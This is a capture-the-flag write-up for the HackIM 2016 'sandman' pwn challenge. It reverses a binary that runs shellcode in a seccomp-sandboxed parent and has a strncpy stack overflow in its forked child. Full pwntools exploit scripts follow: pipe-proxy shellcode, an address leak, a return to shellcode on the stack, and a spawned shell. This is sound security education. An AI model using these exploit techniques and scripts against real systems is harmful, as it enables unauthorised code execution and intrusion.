##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

sandman

[hackim, 2016]

category: pwn

by f0rki

  • Category: exploitation
  • Points: 200

Write-up

So we are given a x86_64 ELF binary and a network port it was running on. First thing is I always check the enabled exploit mitigation techniques, so that I know what I'm dealing with. Turns out everything is disabled. We don't know about ASLR, so we must assume it's turned on (it wasn't).

$ checksec sandman
[*] '/ctf/hackim2016/exploitation/2_sandman/sandman'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

Connecting to the service doesn't give much output. So let's try to find out what it is doing. Naturally I throw it into radare2 and have look. Unfortunately there is no output from the binary, so you can't really tell what it's doing. I used ltrace and strace to confirm that I can trigger the right execution paths with my input.

Fire up r2 -A ./sandman and s main. I then used Vp to get into visual mode. Basically the first thing the binary does is

│       └─> 0x00400ebc      e8bffbffff     call sym.imp.fork
│           0x00400ec1      85c0           test eax, eax
│       ┌─< 0x00400ec3      7532           jne 0x400ef7

Remember: fork returns the pid of the child process in the parent process and zero in the child process. So the parent will continue at 0x400ef7. We can just press enter to follow that jump in visual mode. We'll look at the child process later.

Parent Process

The first thing the parent does is setting up a couple of signal handlers. Basically it's the same handler for all the signals.

│           0x00400f06      be7d0b4000     mov esi, 0x00400b7d       ; "UH..H....}........" @ 0x400b7d
│           0x00400f0b      bf0b000000     mov edi, 0xb
│           0x00400f10      e81bfbffff     call sym.imp.signal         ;[1]

Let's have a look at this signal handler. We can use s 0x00400b7d to jump to the signal handlers code. In visual mode you can use : to enter normal radare commands. radare's analysis hasn't detected this piece of code as a separate function so we'll use df in visual mode to make a function. Because it's the signal handlers we'll use dr in visual mode to rename the function. The signal handler itself is rather boring.

 (fcn) fcn.signalhandler 26
│           ; var int local_0_1    @ rbp-0x1
│           ; DATA XREF from 0x00400f06 (fcn.signalhandler)
│           ; DATA XREF from 0x00400f15 (fcn.signalhandler)
│           ; DATA XREF from 0x00400f24 (fcn.signalhandler)
│           ; DATA XREF from 0x00400eca (fcn.signalhandler)
│           0x00400b7d      55             push rbp
│           0x00400b7e      4889e5         mov rbp, rsp
│           0x00400b81      4883ec10       sub rsp, 0x10
│           0x00400b85      897dfc         mov dword [rbp - 4], edi
│           0x00400b88      e803feffff     call sym.imp.getpid         ;[1]
│           0x00400b8d      bf01000000     mov edi, 1
╘           0x00400b92      e8d9feffff     call sym.imp.exit           ;[2]

Note that the child sets up the same handler for SIGALRM. The call to getpid seems rather useless here. Maybe we can use it later during exploitation, by overwriting the getpid GOT entry. (Spoiler: we won't) So the parents sets up this signal handler for 0xb, 5, 0xe. We can find out what signals those are with a simple cat /usr/include/asm/signal.h | grep $num. Turns out the signals are SIGSEV, SIGTRAP, SIGALRM repsectively. (Hint: you can quickly convert between hex/dec in radare using ?vd 0x1234 or ?v 1234.)

So let's move on. Next the main function performs a read. Remember we're on x86_64 so parameters are passed in the register RDI, RSI, RDX, RCX, R8, R9, XMM0 - 7. I like to annotate calls to library functions with their C declarations and in which register the parameters are. You can add comments in visual mode by pressing ;.

│           0x00400f3d      c745dc000000.  mov dword [rbp-local_4_4], 0
│           0x00400f44      488d45dc       lea rax, qword [rbp-local_4_4]
│           0x00400f48      ba04000000     mov edx, 4
│           0x00400f4d      4889c6         mov rsi, rax
│           0x00400f50      bf00000000     mov edi, 0
│           0x00400f55      e8a6faffff     call sym.imp.read           ; ssize_t read(int fd /*rdi*/, void *buf /*rsi*/, size_t count /*rdx*/);

So this is translates to a read(0, &length, 4);. Probably this is a integer we'll see that it's used as a length. Next instructions test whether this is 0 and the follows a call to mmap, which maps exactly as much bytes as given by the user.

│      │    0x00400f7f      4889c6         mov rsi, rax                ; size_t length, user input
│      │    0x00400f82      bf00000000     mov edi, 0                  ; void* addr
│      │    0x00400f87      e834faffff     call sym.imp.mmap
│      │    0x00400f8c      488945f0       mov qword [rbp-local_2], rax

What follows is another call to read, which reads exactly as much data into the newly mmaped buffer as in length.

So let's see what happens next. We can see that there are some calls to seccomp functions. We'll skip these for now and see what happens after those. Here is a very interesting piece of code. This loads the address of the mmaped area into rdx and jumps to it.

│ ││││││└─> 0x004010eb      488b45f0       mov rax, qword [rbp-local_2]
│ ││││││    0x004010ef      488945e0       mov qword [rbp-local_4], rax
│ ││││││    0x004010f3      488b55e0       mov rdx, qword [rbp-local_4]
│ ││││││    0x004010f7      b800000000     mov eax, 0
│ ││││││    0x004010fc      ffd2           call rdx

So what the parent process does is someting like this in pseudo-C:

int32_t length;
char* addr;
read(stdin, &length, 4);
addr = mmap(NULL, length, ...);
read(stdin, addr, length);
// initialize seccomp sandbox
[...]
// call shellcode
addr();

So we can send the parent process our shellcode and it will happily execute it. Unfortunately we are sandboxed with seccomp, so we probably won't be able to do anyting useful. Note that the seccomp sandbox is set up after the call to fork so the child process is not sandboxed. I assume the idea is to use the parent process as a proxy for exploiting the child process.

Before reversing the seccomp calls I wrote a python script to interact with the parent process. To verify that the shellcode execution works I patched out the seccomp sandbox. This can be easily done using radare.

cp sandman sandman_noseccomp
r2 -w -A ./sandman_noseccomp

Note the -w flag to open in read/write mode. You can also use oo+ to change the mode in the radare shell. I navigated to the following point in visual mode.

│     ││└─> 0x00401008      bf00000000     mov edi, 0
│     ││    0x0040100d      e83ef9ffff     call sym.imp.seccomp_init

Using the visual assembler (press A) you can easily patch binaries. I just inserted a jmp instruction to the piece of code that executes our shellcode.

│    ┌──└─> 0x00401008      e9de000000     jmp 0x4010eb
│    │││    0x0040100d      e83ef9ffff     call sym.imp.seccomp_init

I used the pwntools fork binjitsu, which has a couple of nice improvements, such as ROP on x86_64, to interact with the binary. And indeed it does give us a nice shell.

from pwn import *  # NOQA
context.os = 'linux'
context.arch = 'amd64'
vulnbin = "./sandman_noseccomp"
velf = ELF(vulnbin)
sc = asm(shellcraft.amd64.linux.sh())
vp = process(vulnbin)
#vp = remote(...)
vp.send(p32(len(sc)))
vp.send(sc)
vp.clean_and_log()
vp.interactive()

Seccomp Sandbox

So let's see what the seccomp sandbox allows us to do. There interesting parts are the calls to seccomp_rule_add, which has the following signature:

int seccomp_rule_add(scmp_filter_ctx ctx,  // rdi
                     uint32_t action,      // rsi
                     int syscall,          // rdx
                     unsigned int arg_cnt, // rcx
                     ...);

#define SCMP_ACT_ALLOW    0x7fff0000U

In the binary there are four nearly identical calls to the this function, so we are probably allowed to do 4 different syscalls. Let's look at one of those calls.

│    │││└─> 0x00401022      488b45e8       mov rax, qword [rbp-local_3]
│    │││    0x00401026      b900000000     mov ecx, 0                  ; unsigned int arg_cnt
│    │││    0x0040102b      ba00000000     mov edx, 0                  ; int syscall
│    │││    0x00401030      be0000ff7f     mov esi, 0x7fff0000         ; uint32_t action
│    │││    0x00401035      4889c7         mov rdi, rax                ; scmp_filter_ctx ctx
│    │││    0x00401038      b800000000     mov eax, 0
│    │││    0x0040103d      e83ef9ffff     call sym.imp.seccomp_rule_add

This is repeated for the following syscalls:

  • 0 = read
  • 1 = write
  • 60 = exit
  • 231 = exit_group

Note that arg_cnt is set to 0 and no further arguments are given. This means we can call the syscalls with any parameters we like.

Child Process

So we have a pretty good idea of what we can do in the parent process. Now to find out how to take over the child process. Before the fork the process sets up a pipe so that parent and child process can communicate.

│           0x00400e8e      488d45d0       lea rax, qword [rbp-local_6]
│           0x00400e92      4889c7         mov rdi, rax
│           0x00400e95      e856fbffff     call sym.imp.pipe           ;[1]

The signature of pipe looks like this:

int pipe(int pipefd[2]);

pipefd[0] being the read end and pipefd[1] being the write end of the pipe. As no other files are opened we can assume that the filedescriptor stored in pipefd will be {3, 4}. We can confirm this using strace:

$ strace ./sandman
[...]
pipe([3, 4])                            = 0
[...]

The child process also sets up the alarm handler and then calls it's "main" function. Passing the filedescriptor of the read end of the pipe as parameter.

│       │   0x00400ec5      e8c6faffff     call sym.imp.getpid
│       │   0x00400eca      be7d0b4000     mov esi, 0x400b7d
│       │   0x00400ecf      bf0e000000     mov edi, 0xe
│       │   0x00400ed4      e857fbffff     call sym.imp.signal
│       │   0x00400ed9      bf05000000     mov edi, 5
│       │   0x00400ede      e8fdfaffff     call sym.imp.alarm
│       │   0x00400ee3      8b45d0         mov eax, dword [rbp-local_6]
│       │   0x00400ee6      89c7           mov edi, eax
│       │   0x00400ee8      e83effffff     call fcn.child_main
│       │   0x00400eed      bf00000000     mov edi, 0
│       │   0x00400ef2      e879fbffff     call sym.imp.exit

We can quickly spot that this function reads one byte at a time from the pipe and calls the following function, I called handle_byte_read. Note that eax is here the read byte, passed as parameter. So the byte must be 0xe so that we get to the interesting function. This function can be very easily understood by pressing V a second time in visual mode, so that we get the nice control flow graph view.

│           0x00400df3      83f801         cmp eax, 1
│       ┌─< 0x00400df6      7c30           jl 0x400e28
│       │   0x00400df8      83f805         cmp eax, 5
│      ┌──< 0x00400dfb      7e07           jle 0x400e04
│      ││   0x00400dfd      83f80e         cmp eax, 0xe
│     ┌───< 0x00400e00      7414           je 0x400e16
│    ┌────< 0x00400e02      eb24           jmp 0x400e28
│    ││││   ; JMP XREF from 0x00400dfb (fcn.handle_byte_read)
│    ││└──> 0x00400e04      0fbe45f8       movsx eax, byte [rbp-local_1]
│    ││ │   0x00400e08      8b55fc         mov edx, dword [rbp-local_0_4]
│    ││ │   0x00400e0b      89d6           mov esi, edx
│    ││ │   0x00400e0d      89c7           mov edi, eax
│    ││ │   0x00400e0f      e8bdffffff     call fcn.load_esi_al_ret
│    ││┌──< 0x00400e14      eb13           jmp 0x400e29
│    ││││   ; JMP XREF from 0x00400e00 (fcn.handle_byte_read)
│    │└───> 0x00400e16      0fbe45f8       movsx eax, byte [rbp-local_1]
│    │ ││   0x00400e1a      8b55fc         mov edx, dword [rbp-local_0_4]
│    │ ││   0x00400e1d      89d6           mov esi, edx
│    │ ││   0x00400e1f      89c7           mov edi, eax
│    │ ││   0x00400e21      e8a4feffff     call fcn.read_more_input
│    │┌───< 0x00400e26      eb01           jmp 0x400e29
│    ││││   ; JMP XREF from 0x00400df6 (fcn.handle_byte_read)
│    ││││   ; JMP XREF from 0x00400e02 (fcn.handle_byte_read)
│    └──└─> 0x00400e28      90             nop
│     ││    ; JMP XREF from 0x00400e14 (fcn.handle_byte_read)
│     ││    ; JMP XREF from 0x00400e26 (fcn.handle_byte_read)
│     └└──> 0x00400e29      c9             leave
╘           0x00400e2a      c3             ret

The function read_more_input at 0x00400cca basically reads a size from the pipe, then allocates that much space (if it's below page size 0x1000) and fills this buffer by reading from the pipe. If everything went well it calls another very suspicious function at 0x00400bac, passing it the newly allocated and filled buffer. I didn't bother reversing much because this function has a very suspicious pattern of calling C string functions.

strncmp
strlen
atoi
strlen
strncpy

First keep in mind that the function allocates 0x230 == 560 bytes, and that the parameter (the buffer) is stored at local_69.

│           0x00400bb0      4881ec300200.  sub rsp, 0x230
│           0x00400bb7      4889bdd8fdff.  mov qword [rbp-local_69], rdi

So let's take a closer look at the function calls:

│           0x00400bd3      ba07000000     mov edx, 7
│           0x00400bd8      be96114000     mov esi, str.http:__        ; "http://" @ 0x401196
│           0x00400bdd      4889c7         mov rdi, rax

So apparently our input must start with the string http://. And then at the end of the function we have:

│  └──────> 0x00400c7b      488b85d8fdff.  mov rax, qword [rbp-local_69]
│       │   0x00400c82      4883c007       add rax, 7
│       │   0x00400c86      488945e8       mov qword [rbp-local_3], rax
│       │   0x00400c8a      488b45e8       mov rax, qword [rbp-local_3]
│       │   0x00400c8e      4889c7         mov rdi, rax
│       │   0x00400c91      e81afdffff     call sym.imp.strlen

Which calls strlen on the user provided data + 7, ignoring the http:// prefix. Then there is a call to strncpy which uses the string length of the userinput and copies it onto the stack.

│       │   0x00400c96      4889c2         mov rdx, rax                ; size_t n == strlen(userinput+7)
│       │   0x00400c99      488b4de8       mov rcx, qword [rbp-local_3] ; char* src = userinput+7
│       │   0x00400c9d      488d85e0fdff.  lea rax, qword [rbp-local_68] ; char* dest = somewhere on the stack
│       │   0x00400ca4      4889ce         mov rsi, rcx
│       │   0x00400ca7      4889c7         mov rdi, rax
│       │   0x00400caa      e8b1fcffff     call sym.imp.strncpy

Classic stack based buffer overflow.

Exploiting the Child Process

First of all I created a patched binary, that skips the forking and changes pipefd[0] to 0, so that I can directly communicate with the child process. This is just a matter of writing a lot of nop instructions with radare. I also remove the call to alarm, because that would be very annoying during debugging. I then confirmed that I can trigger the vulnerability using ltrace.

python -c "print(chr(0xe) + ')\x00\x00\x00' + 'http://ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')" | ltrace ./sandman_child
__libc_start_main(0x400e7f, 1, 0x7fff635846f8, 0x401110 <unfinished ...>
pipe(0x7fff635845e0)                                                                                  = 0
getpid()                                                                                              = 32408
signal(SIGALRM, 0x400b7d)                                                                             = 0
read(0, "\016", 1)                                                                                    = 1
read(0, ")", 4)                                                                                       = 4
calloc(42, 1)                                                                                         = 0x1cee010
read(0, "http://ABCDAAAAAAAAAAAAAAAAAAAAA"..., 41)                                                    = 41
strncmp("http://ABCDAAAAAAAAAAAAAAAAAAAAA"..., "http://", 7)                                          = 0
strlen("http://ABCDAAAAAAAAAAAAAAAAAAAAA"...)                                                         = 41
strlen("ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)                                                         = 34
strncpy(0x7fff63584310, "ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 34)                                    = 0x7fff63584310
read(0, "\n", 1)                                                                                      = 1
read(0, "", 1)                                                                                        = 0
exit(0 <no return ...>
+++ exited (status 0) +++

Now we can see that everything happened exactly as predicted. And the destination for the strncpy is indeed on the stack. Now we need to develop a reliable exploit for the child process.

So I used a combination of binjitsu and gdb with the peda plugin to develop my exploit. First I didn't go through the parent process, so that debugging is easier.

Now we cannot have NULL bytes in the buffer, or else strncpy won't copy them onto the stack. This makes exploitation a little bit tricky. We effectively cannot use ROP because most or probably all gadgets have NULL bytes in their addresses. This also makes return to libc very hard, as we cannot easily control the parameters, which are passed in the registers.

Exploitation Attempts

Fortunately the child does not call dup2 so stdin and stdout can be used in the child process as usual. This means we can also interact with a shell spawned in the child process, as long as the parent process doesn't try to read from stdin. Output should never be a problem.

My first attempt was the following:

  1. Leak address of read from the parent process. Because fork doesn't change the address space layout, we can compute the base address of the libc for both the child and the parent process.
  2. Overwrite return address with the address of system executing the command that rdi points to.

This should work because when we return from the vulnerable function, rdi contains a pointer to our buffer on the stack, directly after the http:// prefix. Because the first and only parameter to system is passed in rdi we put our command directly after the http://. So that's what I did. In gdb we can see that everything looks good.

Breakpoint 2 at 0x400cc9
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x1111
RBX: 0x0
RCX: 0x1111
RDX: 0x4142434445464748 ('HGFEDCBA')
RSI: 0x1111
RDI: 0x7ffc467f0f00 ("/bin/sh ; # ", '\220' <repeats 188 times>...)
RBP: 0x4041424345464748 ('HGFECBA@')
RSP: 0x7ffc467f1128 --> 0x7f7b40863890 (<system>:       test   rdi,rdi)
RIP: 0x400cc9 (ret)
R8 : 0x5
R9 : 0x240
R10: 0x18c
R11: 0x7f7b40984810 --> 0xfff36250fff36240
R12: 0x400a90 (xor    ebp,ebp)
R13: 0x7ffc467f12e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400cc0:    mov    rdi,rax
   0x400cc3:    call   0x400b97
   0x400cc8:    leave
=> 0x400cc9:    ret
   0x400cca:    push   rbp
   0x400ccb:    mov    rbp,rsp
   0x400cce:    sub    rsp,0x30
   0x400cd2:    mov    eax,edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffc467f1128 --> 0x7f7b40863890 (<system>:      test   rdi,rdi)
0008| 0x7ffc467f1130 --> 0x7ffc467f1084 --> ('A' <repeats 115 times>, "jhH...")
0016| 0x7ffc467f1138 --> 0x7f0e00000000
0024| 0x7ffc467f1140 --> 0x0
0032| 0x7ffc467f1148 --> 0x0
0040| 0x7ffc467f1150 --> 0x12a0010 ("http:///bin/sh ; # ", '\220' <repeats 181 times>...)
0048| 0x7ffc467f1158 --> 0x23500000235
0056| 0x7ffc467f1160 --> 0x7ffc467f1180 --> 0x7ffc467f11b0 --> 0x7ffc467f1200 --> 0x401110 (push   r15)
[------------------------------------------------------------------------------]

Looks good so far. Unfortunately I didn't get any output, from the launched shell command. In gdb I could see that bash was being executed but for some reason there was no output.

My second attempt was to jump to the magic shell spawning gadget in the libc. In all glibc there is a magic gadget which will call execve and use the string /bin/sh as first parameter. This is part of the system code. So I opened my libc in radare and search for this gadget.

So the new plan is:

  1. Leak libc base address.
  2. Compute address of magic shell spawning gadget.
  3. Overwrite return address.

Again in the debugger I can confirm that it works as expected. Again somehow the environment prevents me from interacting with the spawned shell. This is the only output I get from the child process.

00000000  10 6e da 16  fd 7f 3a 20  eb 01 90 c9  c3 55 48 89  │·n··│··: │····│·UH·│
00000010  e5 48 83 ec  20 89 7d ec  c7 45 fc 3a  20 4e 6f 20  │·H··│ ·}·│·E·:│ No │
00000020  73 75 63 68  20 66 69 6c  65 20 6f 72  20 64 69 72  │such│ fil│e or│ dir│
00000030  65 63 74 6f  72 79 0a                               │ecto│ry·│
00000037

At this point I gave up. This is not actually a good challenge anymore, it's just annoying. Having everything in place but not being able to actually get useful output was very frustrating. But it kept bothering me, I was so close. So I decided to try solve it even though the CTF was already over.

I missed a very obvious thing during debugging. If we look at the stack print of peda right before the return, we can see that directly after the return address there is a pointer in the middle of our buffer on the stack.

[------------------------------------stack-------------------------------------]
0000| 0x7ffc467f1128 --> 0x7f7b40863890 (<system>:      test   rdi,rdi)
0008| 0x7ffc467f1130 --> 0x7ffc467f1084 --> ('A' <repeats 115 times>, "jhH...")

Remember there is no NX so we can jump to our buffer on the stack and execute code. So the new plan is:

  1. Put shellcode inside buffer (must not contain NULL bytes)
  2. Overwrite return address to point to another return instruction
  3. Return again to our buffer, executing our shellcode
  4. Spawn shell

Fortunately this finally resulted in a working exploit :) This is the stack right before the return:

[------------------------------------stack-------------------------------------]
0000| 0x7ffed1577438 --> 0x401174 (ret)
0008| 0x7ffed1577440 --> 0x7ffed1577394 --> 0x9090909090909090

Two returns later we are in the shellcode :) I used the shell spawning shellcode shellcraft.amd64.linux.sh from binjitsu. For more details here is the python script I wrote:

from pwn import *  # NOQA
context.os = 'linux'
context.arch = 'amd64'
velf = ELF('./sandman')
def child_pwn(read_leak=None):
    # we can control this registers via the buffer
    rdx = 0x4142434445464748
    rbp = 0x4041424345464748
    rsi = 0x1111  # == rax == rcx
    # rdi = directly into our buffer, right after http://
    pl = ""
    pl += "B"
    pl += p64(rdx)
    pl += "KLMNOP"
    pl += p16(rsi)
    pl += p64(rbp)
    #cmd = "touch pwnd; id; ;pwd;ls -al;cat flag; #"
    #pl = "http://" + cmd + 'A' * (560 - 8 - len(pl) - len(cmd)) + pl
    #libc = ELF("/usr/lib64/libc-2.22.so")
    #offset_read = libc.symbols['read']
    #offset_system = libc.symbols['system']
    #libc_base = read_leak - offset_read
    #log.info("libc base is: " + hex(libc_base))
    #system = libc_base + offset_system
    #log.info("Computed system addr at: " + hex(system))
    #magic_gadget_offset = 0x0003f76a  # on arch
    #magic = libc_base + magic_gadget_offset
    #log.info("Computed magic /bin/sh gadget at: " + hex(magic))
    # ok apparently all the this was for nothing, as there is another pointer
    # to our buffer on the stack directly after our return address, so we can
    # just return again and jump to our shellcode...
    retgadget = 0x00401174
    sc = shellcraft.amd64.linux.sh()
    pl = asm(sc) + pl
    nop = asm(shellcraft.amd64.nop())
    pl = "http://" + nop * (560 - 8 - len(pl)) + pl
    # return addr overwrite
    #pl += p64(system)
    #pl += p64(magic)
    pl += p64(retgadget)
    log.info("using payload:\n" + hexdump(pl))
    if "\x00" in pl[:-2]:
        log.warn("NULL bytes in payload!")
    pl = pl.rstrip("\x00")
    pl = chr(0xe) + p32(len(pl)) + pl
    return pl
if __name__ == "__main__":
    context.log_level = 'debug'
    vulnbin = "./sandman_child"
    velf = ELF(vulnbin)
    #vp = process(["ltrace", vulnbin])
    #vp = process(["strace", vulnbin])
    vp = process(vulnbin)
    gdb.attach(vp)
    read = int(raw_input("read addr (hex): "), 16)
    vp.send(child_pwn(read))
    vp.sendline("\nls -al; pwd; id")
    vp.clean_and_log()
    vp.interactive()

The Parent Process Exploit Proxy

Of course we need to proxy our input through the parent process. The parent process can read and write to stdin, stdout and the child process via the pipe. So I used a shellcode for the parent process that does the following:

  1. Read a size from stdin. If the size is 0, then loop infinitely.
  2. Allocate size bytes on the stack.
  3. Read size bytes onto the stack.
  4. Write size bytes to the pipefd 4
  5. goto 1

For more details see the python script:

from pwn import *  # NOQA
context.os = 'linux'
context.arch = 'amd64'
vulnbin = "./sandman"
velf = ELF(vulnbin)
# warning this won't work because of seccomp filters!
#sc = asm(shellcraft.amd64.linux.sh())
context.log_level = 'info'
sc64 = shellcraft.amd64
sc = ""
sc += sc64.pushstr("hellooo!")
sc += sc64.write(1, 'rsp', 8)
sc += sc64.write(1, velf.got['read'], 8)
sc += """
    xor rax, rax
    push rax
loop:
    /* read 8 bytes == length */
{}
    pop rax
    /* stop forwarding if zero */
    test rax, rax
    jz end
    /* allocate length bytes on stack */
    sub rsp, rax
    /* read length bytes */
    push rax
    mov rdi, rsp
    add rdi, 8
{}
    pop rax
    /* write length bytes */
    push rax
    mov rdi, rsp
    add rdi, 8
{}
    pop rax
    /* write length bytes  to stdout, for 'debugging' */
    push rax
    mov rdi, rsp
    add rdi, 8
{}
    pop rax
    add rsp, rax
    jmp loop
end:
""".format(sc64.read(0, 'rsp', 8),
           sc64.read(0, 'rdi', 'rax'),
           sc64.write(4, 'rdi', 'rax'),
           sc64.write(1, 'rdi', 'rax'))
sc += sc64.pushstr("bye_bye_")
sc += sc64.write(1, 'rsp', 8)
sc += sc64.infloop()
sc += sc64.exit(42)
log.info("using shellcode:\n" + sc)
sc = asm(sc)
vp = process(vulnbin)
context.log_level = 'debug'
vp.send(p32(len(sc)))
vp.send(sc)
log.info("received hello:\n" + vp.recv(8))
readaddr = u64(vp.recv(8))
log.info("received readaddr: " + hex(readaddr))
from child_pwn import child_pwn
childinput = child_pwn(readaddr)
vp.send(p64(len(childinput)))
vp.send(childinput)
vp.clean_and_log()
vp.send(p64(0))
vp.clean_and_log()
context.log_level = "info"
vp.sendline("id; pwd; ls -al; cat flag")
#vp.sendline("find / -name flag | xargs cat")
vp.interactive()
/writeups/ $

$